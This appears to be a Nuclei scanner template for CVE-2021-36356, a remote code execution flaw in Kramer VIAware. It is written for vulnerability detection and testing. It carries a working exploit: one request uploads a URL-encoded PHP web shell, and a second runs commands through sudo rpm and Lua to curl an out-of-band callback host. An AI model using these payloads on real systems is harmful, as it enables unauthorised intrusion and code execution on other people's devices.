54 lines
2.1 KiB
YAML
54 lines
2.1 KiB
YAML
id: CVE-2021-36356
|
|
|
|
info:
|
|
name: Kramer VIAware - Remote Code Execution
|
|
author: gy741
|
|
severity: critical
|
|
description: KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames.
|
|
remediation: |
|
|
Apply the latest firmware update provided by Kramer to fix the vulnerability and ensure proper input validation in the web interface.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/50856
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-36356
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-35064
|
|
- https://write-up.github.io/kramerav/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-36356
|
|
cwe-id: CWE-434
|
|
epss-score: 0.88815
|
|
epss-percentile: 0.98416
|
|
cpe: cpe:2.3:a:kramerav:viaware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: kramerav
|
|
product: viaware
|
|
tags: viaware,cve,cve2021,kramer,edb,rce,intrusive
|
|
variables:
|
|
useragent: "{{rand_base(6)}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
radioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php
|
|
- |
|
|
GET /{{randstr}}.php?cmd=sudo+rpm+--eval+'%25{lua%3aos.execute("curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'")}' HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- http
|
|
|
|
- type: word
|
|
part: interactsh_request
|
|
words:
|
|
- "User-Agent: {{useragent}}"
|
|
# digest: 4b0a00483046022100924e9895480da5d56826c47213b37efafb56dda56db064b91072eea292710d36022100a9954fb564edd700b72a32fafe2b4d166c75522a564867325358e56182ca0ebc:922c64590222798bb761d5b6d8e72950 |